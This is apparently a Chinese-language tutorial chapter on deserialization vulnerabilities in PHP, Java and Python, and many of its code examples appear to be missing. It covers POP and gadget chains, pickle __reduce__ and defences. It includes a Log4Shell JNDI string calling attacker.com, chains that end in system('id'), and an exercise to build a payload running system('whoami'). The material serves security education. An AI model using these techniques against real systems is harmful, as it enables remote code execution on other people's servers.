玩过单机游戏的人都知道"存档"——把当前角色等级、装备、位置等状态写入文件,下次打开游戏时"读档"恢复。序列化(Serialization)就是这个概念在编程世界的翻版:把内存中的对象转换为可存储、可传输的字符串或字节流。反序列化(Deserialization)则是逆向过程——从字符串还原出原始对象。
序列化无处不在:Session 存储(PHP 把用户会话对象序列化后写入文件)、缓存系统(Redis 把对象序列化后存储)、RPC 通信(Java RMI 把对象序列化后在网络传输)、API 数据交换(JSON 本质就是一种轻量序列化格式)。只要数据需要在"对象"和"可传输格式"之间转换,就离不开序列化。
问题出在哪里?当反序列化的数据来源不受信任——比如用户通过 Cookie、POST 参数、API 请求体传入一段序列化字符串,服务器直接 unserialize() 或 pickle.loads() 还原为对象——攻击者就可以构造恶意的序列化数据,在反序列化过程中触发自动执行的代码。
下面用三种语言演示最基本的序列化操作,建立直观认知:
看序列化字符串 O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:5:"admin";} 的格式:O 表示对象,4 是类名长度,"User" 是类名,2 是属性个数,后面跟键值对。这个格式完全透明、可读、可手动构造——这正是漏洞的根源。攻击者可以把 role 从 "admin" 改成 "superadmin"实现越权,或者更危险地,构造嵌套对象触发魔术方法链。
下面是三种语言序列化格式的对比:
| 语言 | 序列化函数 | 反序列化函数 | 格式特征 |
|---|---|---|---|
| PHP | serialize() | unserialize() | 明文,类型字母开头 O=对象 a=数组 s=字符串 i=整数 |
| Java | ObjectOutputStream | ObjectInputStream | 二进制字节流 以 ACED 0005 魔数开头 |
| Python | pickle.dumps() | pickle.loads() | 二进制 opcode 序列 支持任意代码执行 |
三种语言的反序列化漏洞原理相同:反序列化过程中会自动调用对象的特殊方法(PHP 叫魔术方法、Java 叫 readObject/readResolve、Python 叫 __reduce__)。如果攻击者能控制序列化数据,就能让这些特殊方法在"读档"时执行恶意代码。区别在于利用难度和生态——PHP 的序列化格式最透明、最容易手工构造;Java 的 gadget 链最复杂、危害最大;Python 的 pickle 则在设计之初就"承认"自己是不安全的。
你已经理解了序列化的基本概念——对象"存档"为字符串,字符串"读档"还原为对象。现在来看这个"读档"过程如何被攻击者利用。最典型的场景是:PHP 应用把用户对象序列化后存入 Cookie,下次请求时从 Cookie 中取出并反序列化还原。如果攻击者篡改 Cookie 中的序列化字符串,unserialize() 会忠实地将其还原——包括攻击者注入的恶意属性和嵌套对象。
下面是一个存在反序列化漏洞的真实代码模式:
漏洞在 unserialize($_COOKIE['session']) 这一行——Cookie 完全由用户控制。正常用户的 Cookie 值类似:
攻击者只需把 b:0(false)改成 b:1(true),就能以管理员身份访问后台:
这只是一个简单的越权场景。真正的危险在于:PHP 在反序列化时,如果序列化数据中包含对象,且该对象的类定义了某些"魔术方法",这些方法会被自动调用——无需任何显式代码执行。这就是从"篡改属性"升级到"远程代码执行"的关键跳板,下一节详细展开。
json_decode($_GET['data'], true) 只还原数组,不触发魔术方法
上一节你学会了篡改序列化数据中的属性值实现越权。但反序列化漏洞的真正威力不在于改属性——而在于利用 PHP 的魔术方法(Magic Methods)实现任意代码执行。魔术方法是 PHP 预定义的、在特定时机自动触发的方法。你不需要显式调用它们,PHP 引擎会在对象的生命周期中自动激活。这就像古代机关术中的暗榫——表面上看是普通的木箱,一旦以特定方式打开,内部机关就会连锁启动。
以下是反序列化利用中最关键的魔术方法:
| 魔术方法 | 触发时机 | 在反序列化中的角色 |
|---|---|---|
| __wakeup() | unserialize() 还原对象后 | 反序列化的"入口"方法 最先被自动调用 |
| __destruct() | 对象被销毁时(脚本结束、unset) | 反序列化的"出口"方法 对象销毁时必定触发 |
| __toString() | 对象被当作字符串使用时 | POP 链中的"中转站" echo / 字符串拼接时触发 |
| __call() | 调用不存在的方法时 | POP 链中的"代理器" 可转向任意方法 |
| __get() | 访问不存在的属性时 | POP 链中的"跳板" 可触发其他对象的方法 |
| __invoke() | 对象被当作函数调用时 | POP 链的"终点" 通常在这里执行 system() |
关键洞察:反序列化时 __wakeup() 会被调用,脚本结束时 __destruct() 会被调用。如果这两个方法内部调用了其他对象的某些操作,而那些操作又触发了 __toString() 或 __call(),就形成了POP 链(Property Oriented Programming Chain)——通过控制对象属性来串联多个魔术方法,最终触达执行危险函数的终点。
下面用一个完整的例子演示 POP 链的构造过程。假设目标应用中有以下三个类(通常来自不同文件、不同模块,攻击者无法直接修改代码,但可以利用它们的魔术方法形成链式调用):
三条类定义、三个魔术方法,形成了一条完整的调用链。攻击者需要构造序列化数据,让这些方法依次触发:
构造链路:LogFile 的 $content 属性设为 Formatter 对象(触发 __toString),Formatter 的 $adapter 属性设为 CommandRunner 对象(format() 不存在触发 __call),CommandRunner 的 $cmd 设为系统命令。最终 system("id") 被执行。
用 PHP 脚本构造这个 payload:
实际审计中,不需要从零手写 POP 链。社区工具 phpggc(PHP Generic Gadget Chain)收录了主流 PHP 框架(Laravel、Symfony、Monolog、WordPress 等)的现成 POP 链,可以直接生成 payload:
system(、eval(、file_put_contents( 等危险函数,看哪个类的魔术方法里调用了它们。找到终点后,逆向回溯:谁调用了这个类?谁的 __toString 会被触发?一步步倒推到 __destruct 或 __wakeup,整条链就清晰了。PHP 的 POP 链已经够复杂了,但 Java 反序列化才是这个领域的"核武器"。2015 年 FoxGlove Security 团队披露的论文《Apache Commons Collections Deserialization Vulnerability》直接引爆了整个 Java 生态——他们证明了几乎所有使用 Apache Commons Collections 库的 Java 应用都存在 RCE 漏洞,影响范围覆盖 WebLogic、Jenkins、WebSphere、JBoss 等主流中间件。
Java 反序列化漏洞的核心机制与 PHP 类似:ObjectInputStream.readObject() 还原对象时自动调用类的 readObject() 方法。如果该方法内部调用了链式操作(如 LazyMap 的 transform 链),就形成了 Java 版的"POP 链"——术语叫 Gadget Chain。
Java 反序列化与 PHP 的关键区别:
| 维度 | PHP | Java |
|---|---|---|
| 序列化格式 | 明文,可手工构造 | 二进制字节流 |
| 触发入口 | __wakeup / __destruct | readObject / readResolve |
| 链类型 | POP 链(魔术方法串联) | Gadget 链(方法调用串联) |
| 影响范围 | 单应用 | 跨应用(库级污染) |
| 利用工具 | phpggc | ysoserial |
Java 反序列化影响范围更大的原因是:Gadget 链不依赖目标应用自身代码,而是利用 Java 生态中广泛使用的第三方库(Apache Commons Collections、Spring Framework、Groovy 等)中的类来构造链。只要应用引入了这些库,即使应用自身没有反序列化入口,也可能被 RCE——这就是"库级污染"的恐怖之处。
ysoserial 是 Java 反序列化利用的标准工具,内置了数十条 gadget chain:
除了传统二进制反序列化,Java 生态还有另一种高危变体:Fastjson autotype。Fastjson 是阿里巴巴开源的 JSON 库,其 autotype 功能允许 JSON 数据中通过 @type 字段指定要反序列化的 Java 类。这意味着攻击者可以在 JSON 中直接指定一个危险的 Java 类,Fastjson 会实例化并调用其 setter 方法——等同于"JSON 版的反序列化漏洞"。
值得特别提及的是 2021 年底的 Log4Shell(CVE-2021-44228)漏洞——虽然它本质上不是传统反序列化漏洞,但其利用机制(JNDI 注入)与 Fastjson autotype 攻击如出一辙:攻击者在日志消息中嵌入 ${jndi:ldap://attacker.com/Exploit},Log4j2 解析时发起 JNDI 查询,从攻击者控制的 LDAP 服务加载恶意 Java 类。这个漏洞影响了全球数百万 Java 应用,成为 2021 年最严重的网络安全事件之一。
ois.setObjectInputFilter(filterInfo -> filterInfo.serialClass() == String.class ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED)
前面两节覆盖了 PHP 和 Java 的反序列化漏洞,现在来看 Python。Python 的 pickle 模块是标准库的一部分,用于序列化和反序列化 Python 对象。与 PHP 和 Java 不同,pickle 在设计之初就"坦白"自己是不安全的——Python 官方文档明确警告:不要 pickle 反序列化不受信任的数据。
pickle 的危险性在于其底层实现:pickle 数据是一系列 opcode(操作码),反序列化时按顺序执行这些 opcode。其中 REDUCE 操作码直接调用 callable() 并传入参数——这意味着 pickle 反序列化本质上就是执行任意代码。
利用方式比 PHP 和 Java 都简单——不需要找 gadget chain,直接定义 __reduce__ 方法即可:
__reduce__ 方法告诉 pickle:"序列化这个对象时,请存储一个可调用对象及其参数,反序列化时直接调用它"。攻击者把 os.system 和 'id' 作为参数存入 pickle 数据,目标服务器反序列化时就执行了 os.system('id')。不需要找 gadget chain,不需要利用第三方库——pickle 本身就是 gadget。
Python 反序列化漏洞在机器学习/AI 领域尤其常见:许多 ML 模型用 pickle 保存/加载(torch.save/load、sklearn joblib)。如果有人下载了恶意模型文件并加载,就直接执行了攻击者嵌入的代码。这种攻击向量叫 Model Supply Chain Attack(模型供应链攻击),是 AI 安全领域的研究热点。
pickletools.dis() 命令可以反汇编 pickle 数据,查看其中的 opcode 序列。审计 Python 应用时,如果发现 pickle.loads() 或 yaml.load()(不带 SafeLoader 参数)的调用参数来自用户输入,就是高危漏洞。PyYAML 的 yaml.load() 也存在类似问题——默认允许任意 Python 对象实例化,必须使用 yaml.safe_load() 替代。前三节你了解了 PHP、Java、Python 三种语言的反序列化漏洞利用方式。本节总结防御策略——核心思路是切断攻击链的三个环节:输入源、反序列化操作、代码执行。
防御体系对比:
| 防御层级 | PHP 方案 | Java 方案 | Python 方案 |
|---|---|---|---|
| 替代方案 | json_encode / json_decode | Jackson / Gson(不启用 autotype) | JSON / msgpack / safepickle |
| 白名单 | unserialize allowed_classes 白名单 | ObjectInputFilter(JEP 290) | 自定义 Unpickler 限制类 |
| 禁用危险函数 | disable_functions 禁用 eval/system 等 | SecurityManager 限制权限 | ast.literal_eval 替代 eval |
| 监控检测 | WAF 规则匹配序列化特征 | RASP 运行时拦截 | 静态扫描 pickle.loads 调用链 |
PHP 7.0+ 提供了 allowed_classes 参数,可以限制反序列化时允许实例化的类:
Java 9+ 引入了 ObjectInputFilter(JEP 290),可以在反序列化时过滤类:
Python 可以通过自定义 Unpickler 限制可加载的类:
防御的根本原则只有一条:永远不要反序列化不受信任的数据。如果必须处理外部数据,使用 JSON 等只还原数据结构、不实例化对象的格式。对于内部数据交换,即使信任来源也应实施白名单过滤——因为"信任来源"可能被攻破(如 Session 文件被篡改、Redis 被入侵)。
__wakeup() 和 __destruct() 的简单类(如 class Test { function __wakeup() { echo "wakeup!"; } function __destruct() { echo "destruct!"; } }),serialize() 一个实例,然后用 unserialize() 还原,观察两个魔术方法的调用顺序和时机。提示:__wakeup 在 unserialize 时立即触发,__destruct 在脚本结束或 unset 时触发。__destruct 中 echo 了 $this->data 属性,类 B 的 __toString 中访问了 $this->obj->run(),类 C 的 __call 中执行了 system($this->cmd)。手工构造序列化字符串,让反序列化后自动执行 system('whoami')。参考本章第三节的 POP 链构造过程。